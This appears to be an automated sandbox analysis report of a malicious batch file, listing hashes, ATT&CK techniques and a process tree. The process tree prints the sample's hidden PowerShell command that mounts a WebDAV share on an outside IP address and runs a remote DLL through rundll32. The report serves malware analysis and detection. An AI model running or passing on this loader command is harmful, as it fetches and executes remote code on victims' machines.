c96ec9b5204b888eecaadcad2fc37ef10038f969e29df23a9982bedbbdd5656a

Analysis

max time kernel
106s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 07:19

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General

Target

340286003089731690.bat
Size

2KB
MD5

d5560ce8aeb9fcddb636a1fb9e3271dc
SHA1

70a4ebe56a2ddd76b566c277c8b19709757f0167
SHA256

f9b97ae8a4a6175dbe413e72dc767c648f70006ad6e6f14fdb8cf815df75286a
SHA512

4bacdccd955f2a6f3abc2ebd57c07090f054b93cba4f628a771c7f58886689c17952d4d7b06686c4039ab3e542600dc5254c782f409b35eec17aa28cccf9220f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3680	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3680	powershell.exe
3680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3680	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3372	wordpad.exe
3372	wordpad.exe
3372	wordpad.exe
3372	wordpad.exe
3372	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2244 wrote to memory of 3372	2244	cmd.exe	84
PID 2244 wrote to memory of 3372	2244	cmd.exe	84
PID 2244 wrote to memory of 3680	2244	cmd.exe	87
PID 2244 wrote to memory of 3680	2244	cmd.exe	87
PID 3680 wrote to memory of 2436	3680	powershell.exe	89
PID 3680 wrote to memory of 2436	3680	powershell.exe	89
PID 3680 wrote to memory of 1168	3680	powershell.exe	90
PID 3680 wrote to memory of 1168	3680	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\340286003089731690.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2373.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3680
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2436
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2373.dll,entry
    3⤵
    PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bd1xdk0b.tsw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3680-0-0x00007FFF84923000-0x00007FFF84925000-memory.dmp

Filesize
8KB

Download
memory/3680-6-0x000001EEE1690000-0x000001EEE16B2000-memory.dmp

Filesize
136KB

Download